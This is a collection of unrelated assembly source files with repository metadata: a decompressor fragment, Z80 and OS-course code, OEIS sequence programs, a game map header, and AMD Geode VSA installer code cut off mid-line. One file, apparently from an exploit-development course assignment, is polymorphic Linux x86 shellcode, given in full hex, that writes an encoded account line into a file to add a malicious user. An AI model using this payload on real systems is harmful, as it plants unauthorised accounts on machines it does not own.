and write literal byte .next_command_after_literal: mov ebx,03H ; set follows_literal(bx) to 3 .next_command: apl_get_bit ; read 'literal or match' bit jnc .literal ; if 0: literal ; 1x: match apl_get_bit ; read '8+n bits or other type' bit jc .other ; 11x: other type of match ; 10: 8+n bits match call .get_gamma2 ; read gamma2-coded high offset bits sub ecx,ebx ; high offset bits == 2 when follows_literal == 3 ? ; (a gamma2 value is always >= 2, so substracting follows_literal when it ; is == 2 will never result in zero) jae .not_repmatch ; if not, not a rep-match call .get_gamma2 ; read match length jmp .got_len ; go copy .not_repmatch: mov edx,ecx ; transfer high offset bits to dh shl edx, 8 mov dl,[esi] ; read low offset byte in dl inc esi call .get_gamma2 ; read match length cmp edx,07D00H ; offset >= 32000 ? jae .increase_len_by2 ; if so, increase match len by 2 cmp edx,0500H ; offset >= 1280 ? jae .increase_len_by1 ; if so, increase match len by 1 cmp edx,0080H ; offset < 128 ? jae .got_len ; if so, increase match len by 2, otherwise it would be a 7+1 copy .increase_len_by2: inc ecx ; increase length .increase_len_by1: inc ecx ; increase length ; copy cx bytes from match offset dx .got_len: push esi mov esi,edi ; point to destination in es:di - offset in dx sub esi,edx rep movsb ; copy matched bytes pop esi mov bl,02H ; set follows_literal to 2 (bx is unmodified by match commands) jmp .next_command ; read gamma2-coded value into cx .get_gamma2: xor ecx,ecx ; initialize to 1 so that value will start at 2 inc ecx ; when shifted left in the adc below .gamma2_loop: apl_get_bit ; read data bit adc ecx,ecx ; shift into cx apl_get_bit ; read continuation bit jc .gamma2_loop ; loop until a zero continuation bit is read ret ; handle 7 bits offset + 1 bit len or 4 bits offset / 1 byte copy .other: xor ecx,ecx apl_get_bit ; read '7+1 match or short literal' bit jc .short_literal ; 111: 4 bit offset for 1-byte copy ; 110: 7 bits offset + 1 bit length movzx edx,byte[esi] ; read offset + length in dl inc esi inc ecx ; prepare cx for length below shr dl,1 ; shift len bit into carry, and offset in place je .done ; if zero offset: EOD adc ecx,ecx ; len in cx: 1*2 + carry bit = 2 or 3 jmp .got_len ; 4 bits offset / 1 byte copy .short_literal: apl_get_bit ; read 4 offset bits adc ecx,ecx apl_get_bit adc ecx,ecx apl_get_bit adc ecx,ecx apl_get_bit adc ecx,ecx xchg eax,ecx ; preserve bit queue in cx, put offset in ax jz .write_zero ; if offset is 0, write a zero byte ; short offset 1-15 mov ebx,edi ; point to destination in es:di - offset in ax sub ebx,eax ; we trash bx, it will be reset to 3 when we loop mov al,[ebx] ; read byte from short offset .write_zero: stosb ; copy matched byte mov eax,ecx ; restore bit queue in al jmp .next_command_after_literal .done: sub edi, [esp+32+8] ; compute decompressed size mov [esp+28], edi popad ret
39.314917
106
0.517707
a9e89d7814c97aa9b1c747edc2de7d248ed917c4
1,380
asm
Assembly
Test/Z80/print.asm
sparks-c16/zasm
c03a31c6d7ec2c2aecb1d6dc6b4ced73b7cf00c4
[ "BSD-2-Clause" ]
43
2019-12-06T23:46:40.000Z
2022-03-31T15:34:44.000Z
Test/Z80/print.asm
sparks-c16/zasm
c03a31c6d7ec2c2aecb1d6dc6b4ced73b7cf00c4
[ "BSD-2-Clause" ]
21
2019-12-27T01:49:08.000Z
2022-03-31T15:38:42.000Z
Test/Z80/print.asm
sparks-c16/zasm
c03a31c6d7ec2c2aecb1d6dc6b4ced73b7cf00c4
[ "BSD-2-Clause" ]
13
2019-12-27T00:38:46.000Z
2022-03-15T08:34:51.000Z
#target bin #code ram,65268, $10000 - 65268 start: ld a, 65 ld de, 0 call print_char ret ;****************************************************************** ; PRINT STRING ;****************************************************************** ;print_str: ; ld hl, (cursor) ;loads hl with start of string ; ld bc, string ; add hl, bc ;str_l: ; ld a, (hl) ; cp 0 ;null termination check ; jp z, break_l ; ld de, (cursor) ;position = ascii (for now!) ; call print_char ;prints character ; ld hl, (cursor) ;increase cursor ; inc hl ; ld (cursor), hl ; ld bc, string ;add cursor to start of string ; add hl, bc ; jp str_l ;loops ;break_l: ; ret ; ;****************************************************************** ; PRINT CHARACTER IN A (ASCII) AT DE ;****************************************************************** print_char: ld b, 0 ;load bc with a for *8 ld c, a sla c rl b sla c rl b sla c rl b ;ld hl, 16384 ;sets position in screen file ;add hl, de ;ld d, h ;ld e, l ;ld hl, (23606) ;add hl, bc ;address of char in charmap ld hl, (23606) inc h inc l ld de, 16384 ld b, 8 ld c, 0 char_l: ld a, (hl) ld (de), a inc hl inc d djnz char_l ret string: defm 'hello world'+0 cursor: defb 0, 0 #end
17.922078
68
0.442754
cabe842c5b52478bf9191f0877c9b0279bc25782
5,911
asm
Assembly
src/isr.asm
ignaciolebrero/Orga2TP3
746aa2db4a248301e88dca3d73cd72137cfe27c8
[ "MIT" ]
null
null
null
src/isr.asm
ignaciolebrero/Orga2TP3
746aa2db4a248301e88dca3d73cd72137cfe27c8
[ "MIT" ]
null
null
null
src/isr.asm
ignaciolebrero/Orga2TP3
746aa2db4a248301e88dca3d73cd72137cfe27c8
[ "MIT" ]
null
null
null
; ** por compatibilidad se omiten tildes ** ; ============================================================================== ; TRABAJO PRACTICO 3 - System Programming - ORGANIZACION DE COMPUTADOR II - FCEN ; ============================================================================== ; definicion de rutinas de atencion de interrupciones %include "imprimir.mac" extern inicializar_dir_pirata extern game_reprintar_pantalla extern game_syscall_manejar extern game_debuggear_tarea extern game_atender_teclado extern game_pirata_exploto extern mmu_mapear_pagina extern habilitar_pic extern resetear_pic extern game_tick extern print BITS 32 ;; Excepciones global _isr0 global _isr1 global _isr2 global _isr3 global _isr4 global _isr5 global _isr6 global _isr7 global _isr8 global _isr10 global _isr11 global _isr12 global _isr13 global _isr14 global _isr16 global _isr17 global _isr18 global _isr19 global _isr20 global _isr32 global _isr33 global _isr70 ;; scheduler sched_tarea_offset: dd 0x00 sched_tarea_selector: dw 0x00 ;; PIC extern fin_intr_pic1 ;; Sched extern sched_tick extern sched_tarea_actual ;; Screen extern print ;; Msjs de excepciones cero_mr_msg dw 'diviste por 0 ',0 ;cero_mr_len equ $ - cero_mr_msg uno_mr_msg dw 'Debug Exception ',0 dos_mr_msg dw 'NMI Interrupt ',0 tres_mr_msg dw 'Breakpoint',0 cuatro_mr_msg dw 'Overflow ',0 cinco_mr_msg dw 'BOUND Range Exceeded ',0 seis_mr_msg dw 'Invalid Opcode ',0 siete_mr_msg dw 'Device not Available ',0 ocho_mr_msg dw 'Double fault ',0 diez_mr_msg dw 'Invalid TSS ',0 once_mr_msg dw 'Segment Not Present ',0 doce_mr_msg dw 'Stack-Segment Fault ',0 trece_mr_msg dw 'General Protection ',0 catorce_mr_msg dw 'Page Fault ',0 diezseis_mr_msg dw 'x87 FPU floating-Point Error ',0 diezsiete_mr_msg dw 'Alignment Check',0 diezocho_mr_msg dw 'Machine Check ',0 dieznueve_mr_msg dw 'SIMD floating-Point Exception ',0 veinte_mr_msg dw 'Virtualization Exception ',0 ;; Debug debug_habilitado db 0x0 pantalla_debug_activa db 0x0 ;; ;; Definición de MACROS ;; -------------------------------------------------------------------------- ;; %macro ISR 1 global _isr%1 _isr%1: mov eax, %1 jmp $ %endmacro ;; ;; Datos ;; -------------------------------------------------------------------------- ;; ; Scheduler ;; ;; Rutina de atención de las EXCEPCIONES ;; -------------------------------------------------------------------------- ;; ;TODO: preguntar si es mas comodo pasarlo a un archivo en C hacer call a las funciones de ahi apra las interrupciones (suena mas facil de programar) ;TODO:revisar si compila, funciona, eclosiona(?) _isr0: pushad jmp matar_pirata popad iret _isr1: pushad jmp matar_pirata popad iret _isr2: pushad jmp matar_pirata popad iret _isr3: pushad jmp matar_pirata popad iret _isr4: pushad jmp matar_pirata popad iret _isr5: pushad jmp matar_pirata popad iret _isr6: pushad jmp matar_pirata popad iret _isr7: pushad jmp matar_pirata popad iret _isr8: pushad jmp matar_pirata popad iret _isr10: pushad jmp matar_pirata popad iret _isr11: pushad jmp matar_pirata popad iret _isr12: pushad jmp matar_pirata popad iret _isr13: pushad jmp matar_pirata popad iret _isr14: pushad jmp matar_pirata popad iret _isr16: pushad jmp matar_pirata popad iret _isr17: pushad jmp matar_pirata popad iret _isr18: pushad jmp matar_pirata popad iret _isr19: pushad jmp matar_pirata popad iret _isr20: pushad jmp matar_pirata popad iret ;; ;; Rutina de atención del RELOJ ;; -------------------------------------------------------------------------- ;; _isr32: pushad call fin_intr_pic1 mov ax, [pantalla_debug_activa] cmp ax, 0x1 je .fin call sched_tick xor ecx, ecx str cx cmp ax, cx je .fin mov [sched_tarea_selector], ax jmp far [sched_tarea_offset] .fin: popad iret ;; ;; Rutina de atención del TECLADO ;; -------------------------------------------------------------------------- ;; ;Está parcialmente la implementacion de la activacion del debugger _isr33: pushad call fin_intr_pic1 in al, 0x60 cmp byte al, 0x15 ; codigo de la Y je .rutina_debuger cmp byte [pantalla_debug_activa], 0x1 je pop cmp byte al, 0x2A je .rutinals cmp byte al, 0x36 je .rutinars jmp pop _isr33.rutinals: xor eax, eax push eax;jugadorA call game_atender_teclado add esp, 4 jmp pop _isr33.rutinars: xor eax, eax mov eax, 1 push eax;jugadorB call game_atender_teclado add esp, 4 jmp pop _isr33.rutina_debuger: mov ax, [debug_habilitado] cmp ax, 0x1 je _isr33.deshabilitar_debugger mov ax, 0x1 mov [debug_habilitado], ax jmp pop _isr33.deshabilitar_debugger: mov ax,[pantalla_debug_activa] cmp ax, 0x1 je _isr33.desactivar_pantalla_debug jne _isr33.apagar_debugger _isr33.desactivar_pantalla_debug: call game_reprintar_pantalla mov ax, 0x0 mov [pantalla_debug_activa], ax mov [debug_habilitado], ax jmp pop _isr33.apagar_debugger: mov ax, 0x0 mov [debug_habilitado], ax jmp pop pop: popad iret ;; ;; Rutinas de atención de las SYSCALLS ;; -------------------------------------------------------------------------- ;; _isr70: pushad push ecx push eax call game_syscall_manejar add esp, 8 mov [esp+28], eax mov ax, 0x70 mov [sched_tarea_selector], ax ;idle jmp far [sched_tarea_offset] popad iret ;; ;; rutina de muerte de pirata ;; -------------------------------------------------------------------------- ;; matar_pirata: mov ax, [debug_habilitado] cmp ax, 0x0 je .matar mov ax, 0x1 mov [pantalla_debug_activa], ax popad pushad call game_debuggear_tarea jmp .matar .matar: call game_pirata_exploto jmp .fin .fin: str cx cmp cx, 0x70 je .finb mov ax, 0x70 mov [sched_tarea_selector], ax ;idle jmp far [sched_tarea_offset] .finb: popad iret
16.283747
148
0.657926
77448795a0fcdddfe9582feb8ca79e02e62b56ca
382
asm
Assembly
programs/oeis/001/A001091.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001091.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001091.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A001091: a(n) = 8*a(n-1) - a(n-2); a(0) = 1, a(1) = 4. ; 1,4,31,244,1921,15124,119071,937444,7380481,58106404,457470751,3601659604,28355806081,223244789044,1757602506271,13837575261124,108942999582721,857706421400644,6752708371622431,53163960551578804 mov $1,1 lpb $0,1 sub $0,1 sub $1,1 add $1,$2 add $1,$2 mov $3,$2 add $3,4 add $1,$3 add $2,$1 add $2,$1 lpe
23.875
196
0.667539
0ebce5357e6f80eb777175a76658b55c57344de1
796
asm
Assembly
oeis/173/A173985.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/173/A173985.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/173/A173985.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A173985: a(n) = numerator of (Zeta(0,2,2/3) - Zeta(0,2,n+2/3)), where Zeta is the Hurwitz Zeta function. ; Submitted by Jamie Morken(w4) ; 0,9,261,4401,546921,27234729,7956214281,8017899597,4266143013213,724241322449397,611292843754229277,9809672294036025657,9833902887524676921,3557459561652307818081,5990804897343048247416561,6000108897363439317446961,13272253098315314563819191249,332204224555714913490256674921,934156409521583315481073234093089,935047427496559580428401274903089,3257694327485049466346085573917812809,3133075929432712161731400982021752349449,3135288327228230286431493808921398839049 mul $0,2 add $0,1 mov $1,1 lpb $0 mov $2,$0 sub $0,2 div $2,2 add $2,$0 pow $2,2 mul $3,$2 add $3,$1 mul $1,$2 lpe mov $0,$3 gcd $3,$1 mov $1,$0 div $1,$3 mov $0,$1 mul $0,9
33.166667
465
0.787688
72a75995748f49fc6bee315080aff22667e46f6c
533
asm
Assembly
programs/oeis/165/A165827.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/165/A165827.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/165/A165827.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A165827: Totally multiplicative sequence with a(p) = 6. ; 1,6,6,36,6,36,6,216,36,36,6,216,6,36,36,1296,6,216,6,216,36,36,6,1296,36,36,216,216,6,216,6,7776,36,36,36,1296,6,36,36,1296,6,216,6,216,216,36,6,7776,36,216,36,216,6,1296,36,1296,36,36,6,1296,6,36,216,46656,36,216,6,216,36,216,6,7776,6,36,216,216,36,216,6,7776,1296,36,6,1296,36,36,36,1296,6,1296,36,216,36,36,36,46656,6,216,216,1296 seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)). mov $1,6 pow $1,$0 mov $0,$1
66.625
335
0.701689
bb0babb251de0ea572dd4cfa15dca1c6f009833d
721
asm
Assembly
oeis/014/A014166.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/014/A014166.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/014/A014166.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A014166: Apply partial sum operator 4 times to Fibonacci numbers. ; Submitted by Christian Krause ; 0,1,5,16,41,92,189,365,674,1204,2098,3588,6050,10093,16703,27476,44995,73440,119575,194345,315460,511576,829060,1342936,2174596,3520457,5698329,9222440,14924829,24151764,39081553,63238773,102326310,165571628,267905078,433484476,701397990,1134891605,1836299475,2971201740,4807512695,7778726776,12586252715,20364993681,32951261576,53316271472,86267550344,139583840240,225851410184,365435271249,591286703533,956721998208,1548008726545,2504730750988,4052739505253,6557470285501,10610209821610 lpb $0 mov $2,$0 sub $0,1 seq $2,14162 ; Apply partial sum operator thrice to Fibonacci numbers. add $1,$2 lpe mov $0,$1
60.083333
490
0.825243
87dee8fa3a6c4eeec82c9733fe8fdf9a78a93db4
1,892
asm
Assembly
programs/oeis/010/A010023.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/010/A010023.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010023.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A010023: a(0) = 1, a(n) = 42*n^2 + 2 for n>0. ; 1,44,170,380,674,1052,1514,2060,2690,3404,4202,5084,6050,7100,8234,9452,10754,12140,13610,15164,16802,18524,20330,22220,24194,26252,28394,30620,32930,35324,37802,40364,43010,45740,48554,51452,54434,57500,60650,63884,67202,70604,74090,77660,81314,85052,88874,92780,96770,100844,105002,109244,113570,117980,122474,127052,131714,136460,141290,146204,151202,156284,161450,166700,172034,177452,182954,188540,194210,199964,205802,211724,217730,223820,229994,236252,242594,249020,255530,262124,268802,275564,282410,289340,296354,303452,310634,317900,325250,332684,340202,347804,355490,363260,371114,379052,387074,395180,403370,411644,420002,428444,436970,445580,454274,463052,471914,480860,489890,499004,508202,517484,526850,536300,545834,555452,565154,574940,584810,594764,604802,614924,625130,635420,645794,656252,666794,677420,688130,698924,709802,720764,731810,742940,754154,765452,776834,788300,799850,811484,823202,835004,846890,858860,870914,883052,895274,907580,919970,932444,945002,957644,970370,983180,996074,1009052,1022114,1035260,1048490,1061804,1075202,1088684,1102250,1115900,1129634,1143452,1157354,1171340,1185410,1199564,1213802,1228124,1242530,1257020,1271594,1286252,1300994,1315820,1330730,1345724,1360802,1375964,1391210,1406540,1421954,1437452,1453034,1468700,1484450,1500284,1516202,1532204,1548290,1564460,1580714,1597052,1613474,1629980,1646570,1663244,1680002,1696844,1713770,1730780,1747874,1765052,1782314,1799660,1817090,1834604,1852202,1869884,1887650,1905500,1923434,1941452,1959554,1977740,1996010,2014364,2032802,2051324,2069930,2088620,2107394,2126252,2145194,2164220,2183330,2202524,2221802,2241164,2260610,2280140,2299754,2319452,2339234,2359100,2379050,2399084,2419202,2439404,2459690,2480060,2500514,2521052,2541674,2562380,2583170,2604044 pow $1,$0 gcd $1,2 mov $3,$0 mul $3,$0 mov $2,$3 mul $2,42 add $1,$2
172
1,773
0.835095
cf722c3f1df5f16464b54925e8d13ac1b04923ad
1,820
nasm
Assembly
slae32/assignment/6/part/2/polymorphic_shellcode.nasm
rbctee/SlaeExam
f21ae27ac2a0edbd49869d08469b4b9105b20b6a
[ "MIT" ]
null
null
null
slae32/assignment/6/part/2/polymorphic_shellcode.nasm
rbctee/SlaeExam
f21ae27ac2a0edbd49869d08469b4b9105b20b6a
[ "MIT" ]
null
null
null
slae32/assignment/6/part/2/polymorphic_shellcode.nasm
rbctee/SlaeExam
f21ae27ac2a0edbd49869d08469b4b9105b20b6a
[ "MIT" ]
null
null
null
; Author: Robert C. Raducioiu (rbct) ; Reference: http://shell-storm.org/shellcode/files/shellcode-561.php ; Shellcode: "\xeb\x48\x5f\x89\xfe\x31\xc9\xf7\xe1\xb1\x0b\x81\x37\x71\x63\x63\x75\x83\xc7\x04\xe2\xf5\x89\xf7\x89\xfb\x83\xc3\x0c\x53\x5e\x57\x5b\xb0\x06\x48\xb2\x69\xc1\xc2\x02\x66\xb9\x43\x04\x49\xcd\x80\x93\x31\xc0\x50\x5a\x6a\x20\x5a\x4a\x6a\x03\x58\x40\x56\x59\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x40\xcd\x80\xe8\xb3\xff\xff\xff\x5e\x06\x17\x16\x5e\x13\x02\x06\x02\x14\x07\x75\x05\x0c\x0c\x07\x4b\x59\x53\x4f\x41\x59\x17\x45\x41\x11\x59\x5a\x03\x0c\x0c\x01\x4b\x4c\x01\x1c\x1f\x4c\x01\x14\x02\x0b\x69\x75" ; Length: 123 bytes global _start section .text _start: jmp short CallRunShellcode RunShellcode: pop edi mov esi, edi xor ecx, ecx mul ecx mov cl, 11 DecodeStringBytes: xor DWORD [edi], 0x75636371 add edi, 0x4 loop DecodeStringBytes OpenFile: mov edi, esi mov ebx, edi add ebx, 0xc push ebx pop esi push edi pop ebx mov al,0x6 dec eax mov dl, 0x69 rol edx, 2 mov cx,0x443 dec ecx ; call syscall 0x5: open() int 0x80 AddMaliciousUser: xchg ebx,eax xor eax, eax push eax pop edx push 0x20 pop edx dec edx push 0x3 pop eax inc eax push esi pop ecx ; call syscall write() int 0x80 CloseFileHandle: xor eax, eax ; call syscall close() mov al,0x6 int 0x80 Exit: ; call syscall exit() inc eax int 0x80 CallRunShellcode: call RunShellcode EncodedStringBytes: db 0x5e,0x06,0x17,0x16,0x5e,0x13,0x02,0x06,0x02,0x14,0x07,0x75,0x05,0x0c,0x0c,0x07,0x4b,0x59,0x53,0x4f,0x41,0x59,0x17,0x45,0x41,0x11,0x59,0x5a,0x03,0x0c,0x0c,0x01,0x4b,0x4c,0x01,0x1c,0x1f,0x4c,0x01,0x14,0x02,0x0b,0x69,0x75
18.958333
507
0.666484
a866003f47c58123fc607be11c5cd722aa56d1f4
95
asm
Assembly
data/maps/headers/SafariZoneCenterRestHouse.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/headers/SafariZoneCenterRestHouse.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/headers/SafariZoneCenterRestHouse.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
map_header SafariZoneCenterRestHouse, SAFARI_ZONE_CENTER_REST_HOUSE, GATE, 0 end_map_header
23.75
77
0.873684
34b6742d678ddc08fa9d24c169820b1fc2800aaf
22,676
asm
Assembly
firmware/coreboot/3rdparty/blobs/cpu/amd/geode_lx/gplvsa_ii/sysmgr/init.asm
fabiojna02/OpenCellular
45b6a202d6b2e2485c89955b9a6da920c4d56ddb
[ "CC-BY-4.0", "BSD-3-Clause" ]
1
2019-11-04T07:11:25.000Z
2019-11-04T07:11:25.000Z
firmware/coreboot/3rdparty/blobs/cpu/amd/geode_lx/gplvsa_ii/sysmgr/init.asm
fabiojna02/OpenCellular
45b6a202d6b2e2485c89955b9a6da920c4d56ddb
[ "CC-BY-4.0", "BSD-3-Clause" ]
13
2018-10-12T21:29:09.000Z
2018-10-25T20:06:51.000Z
firmware/coreboot/3rdparty/blobs/cpu/amd/geode_lx/gplvsa_ii/sysmgr/init.asm
fabiojna02/OpenCellular
45b6a202d6b2e2485c89955b9a6da920c4d56ddb
[ "CC-BY-4.0", "BSD-3-Clause" ]
null
null
null
; ; Copyright (c) 2006-2008 Advanced Micro Devices,Inc. ("AMD"). ; ; This library is free software; you can redistribute it and/or modify ; it under the terms of the GNU Lesser General Public License as ; published by the Free Software Foundation; either version 2.1 of the ; License, or (at your option) any later version. ; ; This code is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General ; Public License along with this library; if not, write to the ; Free Software Foundation, Inc., 59 Temple Place, Suite 330, ; Boston, MA 02111-1307 USA ; ;******************************************************************************* ;* This file contains the installation code for VSA II. ;* ;* BIOS Usage: ;* CALL far ptr [VSA_Entry] ;* where VSA_Entry: dw 0020h, <segment> ;* ;******************************************************************************* include vsa2.inc include sysmgr.inc include init.inc include smimac.mac include chipset.inc ;include vpci.inc DESCRIPTOR struc DescrType BYTE ? ; Type of MSR Flag BYTE ? ; See definitions below Link BYTE ? ; Link to next MSR Split BYTE ? ; Index of descriptor that was split Owner WORD ? ; PCI Address this descriptor belongs to Mbiu BYTE ? ; MBUI on which this descriptor is located Port BYTE ? ; Port this descriptor routes to MsrAddr DWORD ? ; Routing address of MSR (descriptor/LBAR/RCONF) MsrData0 DWORD ? ; MSR data low MsrData1 DWORD ? ; MSR data high Physical DWORD ? ; Physical memory assigned (00000000 if none) Range DWORD ? ; Actual I/O range for IOD_SC Address WORD ? ; Address of I/O Trap or Timeout DESCRIPTOR ENDS .model small,c .586 .CODE VERIFY_VSM_COPY equ 1 ; 0=skip verify SW_SMI equ 0D0h ; VSA loader debug codes: VSA_ENTERED equ 10h ; VSA installation has been entered VSA_INIT1 equ 11h ; Returned from Setup VSA_SYSMGR equ 12h ; Image of SysMgr was found VSA_VSM_FOUND equ 13h ; A VSM has been found (followed by VSM type) VSA_COPY_START equ 14h ; Start of module copy VSA_COPY_END equ 15h ; End of module copy VSA_VRFY_START equ 1Ch ; Start of verifying module copy VSA_VRFY_END equ 1Dh ; End of verifying module copy VSA_FILL_START equ 1Eh ; Start of filling BSS VSA_FILL_END equ 1Fh ; End of filling BSS VSA_INIT2 equ 16h ; Returned from copying VSA image VSA_INIT3 equ 17h ; Performing VSA initialization SMI VSA_INIT4 equ 18h ; Returned from s/w SMI VSA_INIT5 equ 19h ; Returned from initializing statistics VSA_INIT6 equ 1Ah ; Returning to BIOS VSA_ERROR equ 0EEh ; Installation error. EBX contains error mask ; NOTES: ; 1) A VSM's CS segment must be writeable since the message queue is ; stored there and the VSM must be able to update the pointers. ; 2) The nested flag must be set so when the System Manager RSMs ; to a VSM, the processor remains in SMM. VSM_FLAGS equ SMI_FLAGS_CS_WRITABLE + SMI_FLAGS_NESTED + SMI_FLAGS_CS_READABLE POST macro Code mov al, Code out 80h, al endm public Device_ID public Chipset_Base public Errors public BIOS_ECX public BIOS_EDX externdef Software_SMI: proc externdef Get_Sbridge_Info: proc externdef Get_IRQ_Base: proc externdef Get_SMI_Base: proc externdef Get_CPU_Info: proc externdef Clear_SMIs: proc externdef Get_SMM_Region: proc externdef Init_SMM_Region: proc externdef Enable_SMIs: proc externdef Enable_SMM_Instr: proc externdef Disable_A20: proc externdef Get_Memory_Size: proc externdef Set_CPU_Fields: proc externdef VSA_Image: byte ORG 0000h ;*********************************************************************** ; Entry Point for DOS installer ;*********************************************************************** VSA_Installation: mov dx, offset Msg_Not_DOS_BUILD push cs ; DS <= CS pop ds mov ah, 9 ; Call DOS PrintString int 21h ReturnToDOS: sti mov ah, 4Ch ; Return to DOS int 21h org 001Eh ; Used by INFO to skip over init code dw offset VSA_Image ;*********************************************************************** ; Entry point for BIOS installer ;*********************************************************************** org 0020h VSA_Install proc far POST VSA_ENTERED pushf push cs ; DS <- CS pop ds ASSUME DS:_TEXT mov [BIOS_ECX], ecx ; MSR address of SMM memory descriptor (P2D_BMO) mov [BIOS_EDX], edx ; MSR address of system memory descriptor (P2D_R) ; ; Make sure VSM's SmiHeader is DWORD aligned ; mov si, VSM_Header.SysStuff.State test si, 3 jz AlignmentOK mov bx, [Errors] or bx, ERR_INTERNAL jmp DisplayErrors AlignmentOK: ; Set up for SMM call Setup jc DisplayErrors ; Load System Manager and VSMs into memory POST VSA_INIT1 call ProcessModules POST VSA_INIT2 push cs pop ds mov bx, [Errors] ; Any errors detected ? test bx, bx jz Init_VSA DisplayErrors: POST VSA_ERROR jmp Exit Init_VSA: cli ; Set SMM MSRs mov ebx, [SysMgrEntry] call Init_SMM_Region ; Generate s/w SMI to initialize VSA POST VSA_INIT3 ; POST 17h call Enable_SMIs ; Enable SMIs movzx eax, [SysCall_Code] mov ebx, [InitParam1] mov ecx, [InitParam2] call Software_SMI POST VSA_INIT4 ; POST 18h call InitStatistics ; Initialize VSA statistics POST VSA_INIT5 ; POST 19h Exit: POST VSA_INIT6 ; POST 1Ah popf ret VSA_Install endp ASSUME DS:NOTHING ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ; ; Some of the time in SMM cannot be recorded by VSA. ; This unaccounted time consists of: ; 1) the cycles used to write the SMM header. ; 2) the cycles for the SMM entry code before RDTSC is executed. ; 3) the cycles between the exit RDTSC through the RSM instruction. ; ; The following code calculates how many clocks this time consists ; of and stores it in a VSA structure. It is used as an adjustment ; to the statistics calculations. ; ;*********************************************************************** InitStatistics proc in al, 92h ; Save A20 mask push ax mov si, 0 ; Don't toggle A20 (no SMI) call DeltaSMI mov edi, eax ; EDI = overhead of DeltaSMI() mov ebx, [SysMgrEntry] ; Get ptr to SysMgr's header add ebx, VSM_Header.SysStuff mov es:(System PTR [ebx]).Clocks, 0 mov si, 2 ; Generate an SMI by toggling A20 call DeltaSMI mov ecx, es:(System PTR [ebx]).Clocks sub eax, ecx ; Subtract clocks VSA determined sub eax, edi ; Subtract DeltaSMI() overhead mov es:(System PTR [ebx]).Adjustment, eax pop ax ; Restore A20 mask out 92h, al ; Initialize statistics structure RDTSC ; Record VSA start time mov es:(System PTR [ebx+0]).StartClocks, eax mov es:(System PTR [ebx+4]).StartClocks, edx xor eax, eax mov es:(System PTR [ebx+0]).Clocks, eax mov es:(System PTR [ebx+4]).Clocks, eax mov es:(System PTR [ebx+0]).NumSMIs, eax mov es:(System PTR [ebx+4]).NumSMIs, eax ret InitStatistics endp ;*********************************************************************** ; Helper routine for InitStatistics() ; Input: SI = XOR mask for port 92h ;*********************************************************************** DeltaSMI proc RDTSC ; Record VSA start time mov ecx, eax in al, 92h ; Generate an SMI by toggling A20 mask xor ax, si out 92h, al RDTSC ; Compute actual delta clocks sub eax, ecx jnc Exit neg eax ; TSC rolled over Exit: ret DeltaSMI endp ;*********************************************************************** ; Setup for VSA installation: ; - Gets information about the system: CPU, Southbridge, memory, PCI ; - Sets ES to be 4 GB descriptor ; - Clears pending SMIs ;*********************************************************************** Setup proc near ASSUME DS:_TEXT cli call Get_CPU_Info ; Get information about the CPU mov [Cpu_Revision], ax mov [Cpu_ID], si mov [PCI_MHz], bx mov [CPU_MHz], cx mov [DRAM_MHz], dx call Get_Sbridge_Info ; Get information about the Southbridge jc short SetupExit mov [Chipset_Base], ebx mov [Device_ID], dx mov [Chipset_Rev], cl call Get_SMM_Region ; Get SMM entry point mov [ModuleBase], eax mov [SysMgr_Location], eax mov [VSA_Size], bx movzx ebx, bx ; Get end of VSA memory shl ebx, 10 add eax, 